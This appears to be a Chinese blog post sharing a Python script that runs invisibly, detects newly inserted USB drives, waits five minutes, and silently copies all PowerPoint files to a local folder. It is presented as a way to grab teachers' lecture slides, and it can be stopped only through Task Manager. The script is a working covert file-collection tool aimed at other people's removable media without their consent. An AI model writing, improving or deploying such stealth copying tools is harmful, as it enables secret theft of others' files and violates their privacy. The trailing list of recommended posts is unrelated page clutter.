静默拷贝U盘里的ppt/pptx

专门用于拷贝老师讲课的课件!!!本程序需要编译,运行后无界面,如果需要关闭的话,请从任务管理器里关闭

附上代码:

python 复制代码
import os
import shutil
import time
import psutil
 
# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives
 
# 拷贝 U盘中的 .ppt.pptx 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".ppt", ".pptx")):
                src_file = os.path.join(root, file)
                dst_root = root.replace(source_folder, destination_folder)
                dst_file = os.path.join(dst_root, file)
                os.makedirs(dst_root, exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
 
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=1024):  # 默认速度限制为 1024 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(300)  # 等待300秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
 
if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "d:\\Download\\"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(60)  # 等待60秒
相关推荐
棉猴几秒前
玩游戏学Python4-字符串
python·游戏·字符串·pygame·玩游戏
马剑威(威哥爱编程)1 分钟前
【AI全栈后端12-12】Spring Boot 3.x 到 4.x 迁移实操:Jakarta 11、Jackson 3 与 AI 2.0
java·开发语言·spring boot·后端
三月微暖寻春笋11 分钟前
【和春笋一起学C++】(七十二)类模板
开发语言·c++·实例·类模板·使用类模板·数组模板
释厄62315 分钟前
智能体释放度子集律——文本 ⊂ 音频 ⊂ 视频⊂ 游戏
开发语言·游戏·microsoft·音视频
东来也_八门29 分钟前
我用麦当劳开放的 MCP,把那个最冷门的营养接口做成了真实配餐求解器
python
Sarvartha33 分钟前
Object 类
java·开发语言
AI日报派送佬36 分钟前
Ultralytics YOLO 模型训练技巧与最佳实践
人工智能·python·深度学习·yolo·机器学习·计算机视觉
zhaowangji1 小时前
mujoco仿真(机械臂推动正方体到指定位置)
人工智能·python
数据管道工1 小时前
解析一个老网站:GBK 编码、页面结构漂移与限流退避
python
j7~1 小时前
【C++ 标准项目】发布订阅消息队列 (篇七):项目创建与基础工具模块搭建
开发语言·c++·log4j·uuid·protobuf·helper工具·消息定义类型和交换机类型定义